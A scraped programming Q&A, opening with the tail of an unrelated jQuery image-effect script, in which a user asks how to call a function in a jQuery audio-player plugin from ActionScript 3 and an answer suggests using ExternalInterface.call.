this.load_img.page_img = this;
$(this.load_img).load(setupGlitchableImage);
this.load_img.src = this.getAttribute("src")
});
$("body").on("mouseover", ".glitchable_container", onImageMouseOver).on("mousemove", ".glitchable_container", onImageMouseMove).on("mouseout", ".glitchable_container", onImageMouseOut)
}
return {
onResize: resize,
init: init
}
}
})(jQuery);

How do I call a function which is within a plugin in Javascript, from ActionScript 3

I have a plugin in Javascript, and within this plugin there are many functions. What I want is to call the $.Repro.barraSonido function from ActionScript 3 code. The plugin is this:
(function ($) {
$.fn.Repro = function () {
var parametros = {
ejecucion: false,
lista: null,
audio: 0
};
var tposic = true;
$.Repro = function (opciones) {
$.ropc = $.extend({}, parametros, opciones);
var Metodos = {
Iniciar: function () {
$('#opc_player').attr('unselectable', 'on').css('user-select', 'none').on('selectstart', false);
$.Repro.barra();
$.Repro.volumen();
$.Repro.movPlaylist();
$('#btn_play').on('click', $.Repro.musc_play);
}
};
return Metodos;
};
$.Repro.musc_play = function () {
if (!swf('jrepro').ispausa()) $(this).removeClass('play').addClass('parar');
else $(this).removeClass('parar').addClass('play');
swf('jrepro').pausa();
return false;
};
$.Repro.autoplay = function () {
var e = $('.lista_musica').find('.selecc');
if (e.length == 0) return '';
$.ropc.lista = e.parent();
$('#T-tema').text(e.find('.artista').html());
$('#T-artista').text(e.find('.tema').html());
return new Array(s['s' + e.attr('name')], e.attr('aud'));
}
};
$.Repro.play = function (c) {
if ($.ropc.lista) {
var el = $.ropc.lista.find("li");
if (c != undefined) {
$.ropc.audio = c;
} else if ($('#btn_aleatorio').hasClass('aleatorioS') && el.length > 1) {
var sg = true;
while (sg) {
var rnd = Math.floor(Math.random() * el.length);
if (rnd != $.ropc.audio) sg = false;
}
$.ropc.audio = rnd;
} else if ($('#btn_repetir').hasClass('repetirS')) {
$.ropc.audio = $.ropc.audio;
} else $.ropc.audio = $.ropc.audio >= (el.length - 1) ? 0 : ($.ropc.audio + 1);
var eil = el.eq($.ropc.audio);
el.removeClass('selecc');
eil.addClass('selecc');
$('#T-tema').text(eil.find('.tema').html());
$('#T-artista').text(eil.find('.artista').html());
swf('jrepro').r(s['s' + eil.attr('name')], eil.attr('aud'));
if (swf('jrepro').ispausa()) $('#btn_play').removeClass('play').addClass('parar');
else $('#btn_play').removeClass('parar').addClass('play');
}
};
$.Repro.barraSonido = function (n, total, n2, total2) {
$.Repro.cargaSonido(n2, total2);
if (n <= total) {
var i_tiempo = (n / 1000);
var m = Math.floor(i_tiempo / 60),
s = Math.ceil(i_tiempo % 60);
$("#tinicial").html((m > 9 ? m : 0 + '' + m) + ':' + (s > 9 ? s : 0 + '' + s));
var t_total = (total / 1000),
fm = Math.floor(t_total / 60),
fs = Math.ceil(t_total % 60);
$("#tfinal").html((fm > 9 ? fm : 0 + '' + fm) + ':' + (fs > 9 ? fs : 0 + '' + fs));
if (total > 0 && tposic) {
var pos = Math.round((Math.round(n) * $('#precarga').width()) / (total));
$('.bar_pr').css('width', pos + 'px');
$('#player_puntero').css('left', pos + 'px');
}
}
};
$.Repro.cargaSonido = function (n, total) {
if (total > 0 && $('#precarga').width() < 290) {
var posCarg = Math.round((n * 290) / total);
$('#precarga').css({width: posCarg}, 500);
}
};
$.Repro.barra = function () {
$('.bar_fon').slider({
max: 100,
range: "min",
slide: function (a, c) {
tposic = false;
$('.bar_pr').css('width', c.value + '%');
},
stop: function (a, c) {
swf('jrepro').tie(parseInt($('#player_puntero').css('left')), $('#precarga').width());
tposic = true;
}
});
};
$.Repro.movPlaylist = function () {};
return $.Repro;
}();
})(jQuery);
It doesn't work, and I put the following in the SWF file:
import flash.external.ExternalInterface;
function call_javascript(evt:MouseEvent):void {
ExternalInterface.call("$.Reproductor.barraSonido");//Even with "()"
}
js_btn.addEventListener(MouseEvent.MOUSE_UP, call_javascript);
For testing purposes, in the function $.Reproductor.barraSonido, I added alert("hola");.
The HTML file is:
<script type="text/javascript">
//Here is the plugin
</script>
<object width="300" height="150">
<param name="movie" value="player.swf">
<embed src="player.swf" width="300" height="150">
</embed>
</object>
You can use AS3's External Interface class to communicate with Javascript (both to and from). You can read more about External Interface here:
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html
For your needs, something such as:
if(ExternalInterface.available) ExternalInterface.call('$.Repro. barraSonido', ...arguments);
will call the function. You'll need to replace the ...arguments in the above example with the parameters you'd like to pass to the barraSonido function.